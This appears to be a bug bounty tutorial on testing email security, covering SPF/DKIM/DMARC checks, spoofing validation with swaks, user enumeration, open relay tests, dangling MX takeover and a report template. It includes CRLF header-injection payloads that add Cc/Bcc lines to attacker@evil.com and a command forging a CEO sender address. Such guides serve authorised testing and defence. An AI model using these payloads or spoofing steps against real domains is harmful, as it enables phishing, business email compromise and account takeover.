Why Email Security Testing Matters for Bug Bounty

Email is the primary attack vector for phishing, business email compromise (BEC), and social engineering. When a target's domain can be spoofed, attackers can send emails that appear to come from legitimate addresses — bypassing spam filters and tricking employees, customers, and partners.

In 2026, BEC losses exceed $50 billion annually. Bug bounty programs know this, and many explicitly reward findings that demonstrate email spoofing capability. The barrier to entry is low — you need DNS lookup tools and a basic understanding of SPF, DKIM, and DMARC — but the impact is consistently rated medium to high.

This guide covers the full email security testing methodology: from DNS record enumeration through spoofing validation, header injection, mail server attacks, and subdomain takeover via dangling MX records.

Email Authentication Fundamentals

Before testing, you need to understand the three email authentication mechanisms and how they interact.

SPF (Sender Policy Framework)

SPF defines which IP addresses and mail servers are authorized to send email on behalf of a domain. It's a DNS TXT record that receiving mail servers check against the sending server's IP.

; Example SPF record
v=spf1 include:_spf.google.com include:amazonses.com ip4:203.0.113.0/24 -all

The critical part is the qualifier at the end:

• -all (hard fail) — reject emails from unauthorized senders
• ~all (soft fail) — accept but mark as suspicious. Many receivers treat this the same as no SPF
• ?all (neutral) — no policy. Effectively useless
• +all — allow anyone to send as this domain. Fully spoofable

DKIM (DomainKeys Identified Mail)

DKIM adds a cryptographic signature to outgoing emails. The sending server signs the message with a private key, and the receiving server verifies it using a public key published in DNS.

; DKIM public key record
selector1._domainkey.example.com TXT "v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3..."

DKIM weaknesses include: short key lengths (512 or 1024 bits), key reuse across domains, missing selectors, and keys that haven't been rotated in years.

DMARC (Domain-based Message Authentication, Reporting & Conformance)

DMARC ties SPF and DKIM together and tells receiving servers what to do when authentication fails.

; Example DMARC record
_dmarc.example.com TXT "v=DMARC1; p=reject; rua=mailto:dmarc@example.com; pct=100"

The policy (p=) is what matters:

• p=reject — spoofed emails are rejected. Hardest to bypass
• p=quarantine — spoofed emails go to spam. Bypassable in some scenarios
• p=none — no enforcement. Domain is spoofable even with SPF and DKIM in place

Phase 1: DNS Record Enumeration

Start every email security assessment by pulling all relevant DNS records. This takes 60 seconds and tells you immediately whether the domain is likely spoofable.

Pull SPF, DKIM, and DMARC Records

# SPF record
dig +short txt example.com | grep spf

# DMARC record
dig +short txt _dmarc.example.com

# MX records (mail servers)
dig +short mx example.com

# Common DKIM selectors
for sel in default selector1 selector2 google s1 s2 k1 k2 dkim mail; do
  echo "=== $sel ===" && dig +short txt ${sel}._domainkey.example.com
done

What to Look For

Automated Analysis

# spoofcheck — automated SPF/DMARC analysis
git clone https://github.com/BishopFox/spoofcheck.git
cd spoofcheck && pip install -r requirements.txt
python spoofcheck.py example.com

# mailspoof — checks for spoofability
pip install mailspoof
mailspoof -d example.com

Phase 2: Spoofing Validation

Once you've identified a misconfiguration, validate it by sending a test email. Only send to your own email address.

Using swaks (Swiss Army Knife for SMTP)

# Install swaks
sudo apt install swaks

# Send a test spoofed email to YOUR OWN inbox
swaks --to your-own-email@gmail.com \
      --from ceo@vulnerable-target.com \
      --server smtp.your-relay.com \
      --header "Subject: Email Spoofing PoC — Bug Bounty Test" \
      --body "This is a proof of concept demonstrating that vulnerable-target.com can be spoofed due to DMARC p=none and missing SPF."

Checking Results

After receiving the email, check the full headers:

• Authentication-Results — shows SPF, DKIM, and DMARC pass/fail
• Received-SPF — shows the SPF evaluation result
• Did the email land in inbox or spam?
• Does the From address display as the target domain?

For your bug bounty report, screenshot the received email showing the spoofed From address and include the full authentication headers.

Phase 3: Email Header Injection

Email header injection occurs when user input is inserted into email headers without sanitization. This is common in contact forms, registration flows, password reset emails, and newsletter signup forms.

Where to Test

• Contact forms that send email confirmations
• Registration forms with "welcome" emails
• Password reset flows
• Invite/referral features ("invite a friend")
• Newsletter subscription confirmations
• Any feature that sends email based on user input

Injection Payloads

# CRLF injection in email fields — add CC/BCC recipients
victim@example.com%0ACc:attacker@evil.com
victim@example.com%0ABcc:attacker@evil.com
victim@example.com\r\nCc:attacker@evil.com

# Inject additional headers
victim@example.com%0ASubject:Injected%20Subject
victim@example.com%0AContent-Type:text/html

# Inject into name fields that appear in From/Reply-To
Attacker Name%0ACc:attacker@evil.com

Testing With Burp Suite

Intercept the form submission in Burp and inject CRLF sequences into every field that might end up in an email header. Check the email parameter, name fields, subject fields, and any custom headers the application sets.

If the application sends an email with your injected header, you've confirmed the vulnerability. The impact ranges from spam relay (adding arbitrary recipients) to phishing (modifying the email body or subject).

Phase 4: Mail Server Enumeration and Testing

If the target runs its own mail servers (visible in MX records), there are additional attack surfaces.

SMTP Enumeration

# Enumerate valid email addresses via VRFY/EXPN
smtp-user-enum -M VRFY -U users.txt -t mail.example.com
smtp-user-enum -M RCPT -U users.txt -t mail.example.com

# Nmap SMTP scripts
nmap -p 25,465,587 --script smtp-commands,smtp-enum-users,smtp-open-relay mail.example.com

Open Relay Testing

# Test for open relay
swaks --to test@gmail.com --from test@example.com --server mail.example.com

# Nmap open relay check
nmap -p 25 --script smtp-open-relay mail.example.com

An open relay allows anyone to send email through the target's mail server — this is a high-severity finding because it enables spam campaigns and phishing that originates from the target's infrastructure.

STARTTLS Stripping

Check whether the mail server enforces TLS or allows plaintext connections:

# Connect without TLS
openssl s_client -connect mail.example.com:25 -starttls smtp

# Check for STARTTLS support
swaks --to test@example.com --server mail.example.com --tls-optional-strict

If the server accepts plaintext SMTP on port 25 without requiring STARTTLS, emails can be intercepted in transit.

Phase 5: Subdomain Mail Server Takeover

Dangling MX records are a variant of subdomain takeover specific to email. When a subdomain's MX record points to a service that's been deprovisioned, an attacker can claim that service and receive all email sent to that subdomain.

Finding Dangling MX Records

# Enumerate subdomains first (see our subdomain enumeration guide)
# Then check MX records for each subdomain
cat subdomains.txt | while read sub; do
  mx=$(dig +short mx "$sub" 2>/dev/null)
  if [ -n "$mx" ]; then
    echo "$sub: $mx"
  fi
done

Look for MX records pointing to:

• Deprovisioned Google Workspace domains
• Expired Microsoft 365 tenants
• Removed Zoho Mail configurations
• Third-party email services no longer in use

Impact

If you can claim the mail service that a subdomain's MX record points to, you can receive all email sent to addresses at that subdomain. This often includes password reset emails, internal notifications, and automated system alerts — making it a path to account takeover.

Phase 6: SPF Bypass Techniques

Even when SPF is configured, there are bypass scenarios worth testing.

SPF Record Exceeding DNS Lookup Limit

SPF allows a maximum of 10 DNS lookups. If the target's SPF record exceeds this (common with large organizations using multiple email services), SPF evaluation returns a permerror — effectively disabling SPF.

# Count DNS lookups in SPF record
# Each include:, a:, mx:, redirect= counts as a lookup
dig +short txt example.com | grep spf
# Then recursively resolve each include to count total lookups

Subdomain SPF Gaps

Organizations often configure SPF for their apex domain but forget subdomains. Check mail.example.com, support.example.com, dev.example.com, and other subdomains — they may lack SPF records entirely, making them spoofable even when the main domain is protected.

SPF Include Chain Exploitation

If the target's SPF record includes a third-party service you can sign up for (e.g., include:sendgrid.net), you may be able to send authenticated email as the target domain by using that service. This is a design issue — the SPF record trusts all users of that shared service.

Writing the Bug Bounty Report

Report Template for Email Spoofing

## Title
Email Spoofing via DMARC p=none and SPF Soft Fail on example.com

## Severity
Medium (CVSS 5.3-6.5 depending on impact)

## Description
The domain example.com is vulnerable to email spoofing due to:
- DMARC policy set to p=none (monitoring only, no enforcement)
- SPF record uses ~all (soft fail) instead of -all (hard fail)

An attacker can send emails that appear to originate from any @example.com
address. These emails pass SPF soft fail checks and are not rejected by
DMARC, landing in recipients' inboxes.

## Steps to Reproduce
1. Query DMARC: dig +short txt _dmarc.example.com
   Result: "v=DMARC1; p=none; rua=mailto:..."
2. Query SPF: dig +short txt example.com
   Result: "v=spf1 include:_spf.google.com ~all"
3. Send test email using swaks (to own inbox only):
   swaks --to my-own-email@gmail.com --from ceo@example.com ...
4. Email arrives in inbox with From: ceo@example.com

## Impact
An attacker can impersonate any employee of example.com, enabling:
- Targeted phishing of customers and partners
- Business email compromise (BEC) attacks
- Brand reputation damage
- Social engineering of internal employees

## Remediation
1. Set DMARC policy to p=reject (or p=quarantine as interim step)
2. Change SPF qualifier from ~all to -all
3. Ensure DKIM is configured and signing all outbound email
4. Monitor DMARC aggregate reports before enforcing

Common Mistakes to Avoid

• Sending spoofed emails to target employees — this is out of scope on every program and may be illegal. Only send to your own inbox
• Reporting DMARC p=none without checking if it's intentional — some organizations are in monitoring phase. Check the rua/ruf tags — active reporting suggests they're working toward enforcement
• Ignoring subdomain scope — the apex domain may be locked down while subdomains are wide open
• Not demonstrating impact — a missing SPF record alone is informational. Show that you can actually deliver a spoofed email to an inbox
• Skipping the program policy — some programs explicitly exclude email spoofing findings. Read the scope before testing

Tools Reference

Related Articles

• Bug Bounty Recon Workflow in 2026
• Subdomain Enumeration Tools in 2026
• Information Disclosure for Bug Bounty in 2026
• Account Takeover Methodology for Bug Bounty in 2026
• Bug Bounty Resource Center